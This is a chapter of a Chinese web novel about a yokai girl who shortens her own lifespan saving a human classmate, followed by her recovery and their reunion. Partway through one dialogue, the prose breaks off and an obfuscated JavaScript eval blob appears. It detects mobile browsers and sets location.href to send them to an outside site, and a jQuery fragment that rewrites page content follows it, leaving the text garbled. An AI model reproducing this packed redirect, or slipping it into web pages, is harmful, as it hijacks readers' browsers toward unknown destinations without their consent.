病房内。
余淼淼一出去，胡璃就把椅子拉到离病床最远的地方坐着。
要不是为了等余淼淼，她根本不想和江澄一共处一室。
反倒是江澄一率先开口：“你也是妖怪吗？”
胡璃警惕地站起来，迅速看了门外一眼，确定没人，然后把门关上。
这才皱着眉看向江澄一，豪不客气地说：“不要在外面说这种事，你想受罚别连累我。”
“抱歉。”江澄一说：“我只是想确认一下淼淼的情况。”
胡璃本来不想回应，但对方的语气很诚恳，里面的担忧也不像作假。
她的语气稍微放缓，“确认什么？”
江澄一沉吟道：“淼淼的身体情况，不像她说的那么简单，对吗？”
“没有你的扶持，她几乎站不起来，脸色也很差。”
胡璃的气息忽然低落起来，声音闷闷的，“没错。”
“淼淼的情况很差、非常差、特别差。”
“是……因为救我吗？”江澄一的声音艰涩。
他回忆起余淼淼在替他做急救包扎时，恍若透明的苍白脸色，和摇摇欲坠的身形。
“充其量是个导火索吧。”
胡璃虽然讨厌江澄一，但还是实事求是，“淼淼本来就不怎么爱惜自己的身体，已经透支妖力过好几次，就算没有这次的爆发，也有下一次，早晚会有这一遭。”
江澄一问：“我能看看她的检查报告吗？”
她从包里抽出检查报告，递给江澄一。
“你不是妖怪，那些检测项估计都看不懂，直接看后面的结论吧。”
江澄一翻开一页，认真看起来。
虽然不明白“血脉融合度”、“细胞异化率”这些术语是什么意思。
但几乎每一项都不在标准值内的数据，还是深深刺痛了他的眼。
有的超标十几倍，有的不到标准值的十分之一。
翻倒最后一页，结论清晰明了。
【该妖根基受损，无内丹修复，预计影响寿元，无治疗方案，建议出院，在家休养。】
江澄一敏锐地注意到里面的关键词。
“影响寿元是什么意思？”
胡璃说：“妖怪是需要妖力维持人形的，淼淼没有内丹，妖力很少很少，用一两个法术就会变回原形。”
“这次，她应该是因为什么事情，强撑着没有变回原形，用了太多妖力，导致伤到了根基。”
“虽然她现在看着状态很差，但只要有灵气，很快就能恢复。”
“伤到根基真正影响的，是余淼淼的寿命。”
说着说着，胡璃眼眶又红了，“从检查报告的数据看，现在淼淼的寿命可能连之前的一半都不到。”
江澄一瞳孔一缩，声音艰涩，“她的寿命还剩多少？”
“之前大概是三百到四百年之间，现在的话，我估计不到一百年。”
“对妖怪来说，就是一眨眼的功夫。”
她抹抹眼睛，嗤笑一声，看向江澄一，“人类，你是不是很开心？”
“淼淼的寿命和你差不多，你也不用担心什么她活着你死了的事。”
可江澄一却像没有听见一样，只沉沉看着手中的检测报告。
面无表情，看似平静，可手指却在在检查报告上摁出深深的褶皱。
“有什么办法？”他的声音嘶哑。
“什么？”
江澄一猛然抬起头，他的眼睛不知何时出现道道血丝。
“有什么可以修复淼淼根基的办法？”
“只要有内丹，一切都好说。”
胡璃喃喃说：“可内丹，哪有这么容易得到呢……”
忽然，她神色一凛，连忙把报告塞进包里。
低声飞快说：“淼淼不准我告诉你，你千万不要跟她说。”
十几秒后，门外传来远远的脚步声。
接着，门被打开，果然是余淼淼。
胡璃扬起笑脸，“淼淼，那个人找你什么事啊？”
“保密协议的事。”
余淼淼把一份文件递给江澄一，题头写着《妖怪信息保密承诺书》几个大字。
胡璃明明已经差不多预料到了这个结果，但还是有点不爽。
“这是她第一次把身份暴露给普通人类，你是不是很得意？”
江澄一微微怔愣，看向余淼淼，“我……是第一个？”
“算是吧。”余淼淼不自在地说。
江澄一接过文件，扫视着上面密密麻麻的条款。
极为严苛，几乎杜绝了签署人从任何角度钻漏洞的可能性。
“我有一个问题。”他看完开口。
“如果不想签，也没关系。”
余淼淼出声，却并不看江澄一，而是盯着一块地砖。
“妖怪部会让你喝一瓶遗忘剂，把这几天的事情全部忘掉，放心，安全无害，对神经没有影响。”
江澄一问：“我签了，对你有影响吗？”
余淼淼抬头，注视着江澄一。
“没有。”她说，语气很平静：“没有影响。”
江澄一看着余淼淼很久，最终低下头，提笔签上自己的名字。
余淼淼把那份文件收回来，走出病房门，把它和自己的那份叠在一起。
一份《妖怪信息保密承诺书》、一份《保密连带责任书》。
两个名字，江澄一、余淼淼，签在相同的位置。
黑色的字迹透过薄薄的打印纸，彼此重叠，像勾连在一起的黑色藤蔓，再也难以分离。
她注视片刻，交给在楼梯口等候的魏文正。
-
余淼淼当天就办理出了出院手续。
她的身体没有治疗意义，每天按时吃药就行。
她一回家，巫安就把小白送过来。
巫安郑重其事：“余小姐，在小白的父母没找到之前，还是得麻烦你了。”
笼子里的小白一看见余淼淼，就兴奋地扑上她的肩头，毛茸茸的长尾巴缠住脖子，嗷嗷叫起来。
因为药物的原因，它也刚醒没多久，对它来说，不过是睡了很长的一个觉而已。
这次事件，给它留下唯一心理阴影是不愿再照镜子。
余淼淼把小白的脑袋从她的领子里揪出来，把湿哒哒的舌头塞回它的嘴里。
无奈地开始一个人养崽的苦逼日子。
期间，黎枝来看过她两次。
她碰着女孩苍白的小脸左看右看，心疼道：“到底是什么病，怎么这么严重？”
“感冒发展成了肺炎。”
余淼淼轻描淡写地说。
“也没见你有过感冒的症状啊？”
黎枝思索片刻，恍然大悟，“是不是那天，你和江澄一出去淋雨，落下的病根子！”
她越想越觉得有道理，“你什么体质，江澄一什么体质，他淋雨洗个热水澡就没事，你这个脆皮就是感冒肺炎，你陪他乱跑什么？”
余淼淼无语：“你在乱想什么。”
“感冒的潜伏期哪有这么久。”
“对哦。”
黎枝讪讪一笑，想到什么，又目光灼灼地望向余淼淼，“你还没告诉我，那天和江澄一出去干了什么呢！”
“我一提到这事你就转移话题，这次你别想逃。”
“没干什么，就到处走了走。”
“骗人，你不是把江澄一当对手的吗，哪有跟对手在雨里走这么久的，你还穿着他的外套，肯定不对劲！”
女孩扑到床上，压着余淼淼，“快说快说！”
余淼淼无奈地解释：“就是步行街太挤了，我们绕了路，期间下雨，所以他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16388731|180406||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把外套给了我。”
“真的吗？”黎枝注视着余淼淼。
余淼淼很坦然，“真的，我没骗你。”
确实没有骗人，她想，只不过是隐瞒了一部分的事实。
“好吧，我相信你。”
黎枝坐回去，又察觉到一个疑点。
“不对。”她摸着下巴，仔细分析，“江澄一那种人，怎么会随便把外套给别人穿，难道——”
她瞪大眼睛，“他喜欢你！”
“我就觉得他看你的眼神有问题！”
“怎么可能。”
余淼淼僵硬地移开视线。
似乎是为了转移话题，她问：“喜欢，是什么感觉？”
“喜欢？很简单啊。”
黎枝兴致勃勃地说：“想知道有关他的一切，做什么事都会想到他，没见面的时候想见面，见面的时候很开心，不想看到他伤心难过。”
“最最重要的是，跟他对视的时候会心跳加速！”
“这样啊……”
余淼淼点头，把黎枝说的话全记下来，狐疑地问：“你没有谈过恋爱，怎么知道这么多？”
黎枝挑眉，“我这么多漫画不是白看的。”
-
一周后，江澄一出院。
按照他伤口的严重程度，本来不该这么快就出院。
但执法司给他送了一些适合人类的药物，伤口恢复得很快，主治医生啧啧称奇。
江澄一回家的时候，是中午。
余淼淼和小白正在吃饭。
小白吃的是她制作的幼崽餐，做好后她尝了一口，然后立刻吐了出来。
难为小白不挑食，吃得津津有味。
她吃的则是猫罐头，里面混了一大把药，吃起来苦苦的。
楼下响起熟悉的开门声，然后是脚步声、开灯声。
哦，江澄一回来了。
她想。
江澄一回来了！
她的动作忽的一顿。
然后扔下勺子，朝楼下跑去。
一层楼的距离，对尚未恢复的余淼淼来说，还有些吃力。
跑到江澄一门前时，她气喘吁吁、手脚发抖。
她从口袋里掏出钥匙，插进锁孔的前一刻，却突然犹豫了。
江澄一才刚回来，这样不打一声招呼就进去，真的好吗？
她收起钥匙，手掌贴在门板，想扣门。
还没等她想出合适的理由，大门忽然打开。
江澄一站在门口，灯光从他的背后倾斜而下，轮廓像发着光。
他的脸色尚带着几分苍白，但精神很好，眼睛黑沉沉的。
“怎么不直接进来，是忘带钥匙了？”
余淼淼犹豫片刻，点点头，承认了。
“进来吧。”江澄一退到一旁。
室内的陈设一如既往，只是因为久无人住，落了一层薄灰。
她慢慢走进江澄一的家，心中不知为何，却有些失落。
为什么呢？
看着江澄一恢复得很好，她不应该高兴吗？
身后忽然传来急切的脚步声，江澄一清淡的气息迅速逼近。
她下意识回头，紧接着，被笼进一个温暖的怀抱中。
“对不起，可我实在忍不住。”
江澄一的呼吸长而沉，带着克制的颤抖和礼貌的歉意。
抱着余淼淼的手却很牢固，没有一丝想放开的意思。
“淼淼，我好想你。”江澄一说。
说话间，灼热的气息打在余淼淼裸露的颈脖，激起一片鸡皮疙瘩。
很久之后，余淼淼回抱住江澄一，闭上了眼睛，任由自己沉浸在对方的怀抱和气息中。
她不得不承认，见江澄一，并没有什么理由。
如果非要说，唯一的理由就是“想见他”。